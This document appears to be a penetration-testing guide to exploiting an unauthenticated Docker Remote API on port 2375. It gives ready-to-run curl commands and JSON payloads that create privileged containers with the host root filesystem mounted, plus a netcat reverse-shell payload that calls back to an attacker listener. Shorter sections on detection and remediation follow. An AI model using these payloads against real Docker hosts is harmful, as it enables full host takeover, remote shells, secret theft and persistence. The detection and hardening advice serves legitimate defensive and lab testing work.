The Docker API exposes Docker daemon control over HTTP.
If the API is exposed without authentication, an attacker can control containers on the host remotely. This is the network version of Docker socket abuse.
Ports
Common ports:
2375 Docker API over plain HTTP
2376 Docker API over TLS
Unauthenticated 2375 is critical.
Enumeration
Check from a permitted host:
curl http://TARGET:2375/version
curl http://TARGET:2375/info
curl http://TARGET:2375/containers/json
If TLS is enabled:
curl -k https://TARGET:2376/version
TLS without valid client authentication still needs careful review.
Create A Container
Create a payload body:
cat > payload.json <<'EOF'
{
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", "id; hostname; ls -la /host"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/host"],
"NetworkMode": "host"
}
}
EOF
Create the container:
curl -X POST http://TARGET:2375/v1.40/containers/create \
-H "Content-Type: application/json" \
--data-binary @payload.json
Start it:
curl -X POST http://TARGET:2375/v1.40/containers/CONTAINER_ID/start \
-H "Content-Type: application/json"
Read logs:
curl "http://TARGET:2375/v1.40/containers/CONTAINER_ID/logs?stdout=1&stderr=1"
Stop it:
curl -X POST http://TARGET:2375/v1.40/containers/CONTAINER_ID/stop \
-H "Content-Type: application/json"
Cleanup:
curl -X DELETE http://TARGET:2375/v1.40/containers/CONTAINER_ID?force=true
In a lab, TARGET is the Docker daemon address. In local Docker Desktop or lab networks this may look like 192.168.65.7:2375; the technique is the same.
Reverse Shell Payload
For an interactive proof in a disposable lab, the container command can call back to a listener.
Start a listener first:
nc -lnvp 4444
Payload:
{
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/hostfs"],
"NetworkMode": "host"
}
}
Create it:
curl -X POST http://TARGET:2375/v1.40/containers/create \
--data-binary @payload.json \
-H "Content-Type: application/json"
Start it:
curl -X POST http://TARGET:2375/v1.40/containers/CONTAINER_ID/start \
-H "Content-Type: application/json"
This payload proves more than code execution inside a normal container. It proves Docker daemon control because the API-created container is privileged, uses host networking, and mounts the host root filesystem at /hostfs.
For a quieter proof, replace the reverse shell command with:
id; hostname; cat /hostfs/etc/os-release
Impact
With Docker API control, we can usually:
- Start privileged containers
- Mount host filesystem
- Use host network
- Read container logs
- Copy files from containers
- Create persistence on the host through mounted paths
- Access secrets in other containers
The API controls the daemon, not only one container.
Detection
Monitor:
- Docker daemon listening on
0.0.0.0:2375 - Unexpected HTTP requests to Docker API
- New privileged containers
- Containers with host filesystem binds
- Containers using host networking
- Docker events from unusual source IPs
Host checks:
ss -lntp | grep 2375
ps aux | grep dockerd
docker events
docker ps --no-trunc
Remediation
- Do not expose Docker API over unauthenticated TCP.
- Bind Docker API to a Unix socket by default.
- If TCP is required, enforce mutual TLS.
- Restrict access with firewall rules.
- Monitor for
2375exposure. - Avoid running Docker daemon on internet-facing interfaces.
- Alert on privileged container creation.
- Treat Docker API credentials as host-level credentials.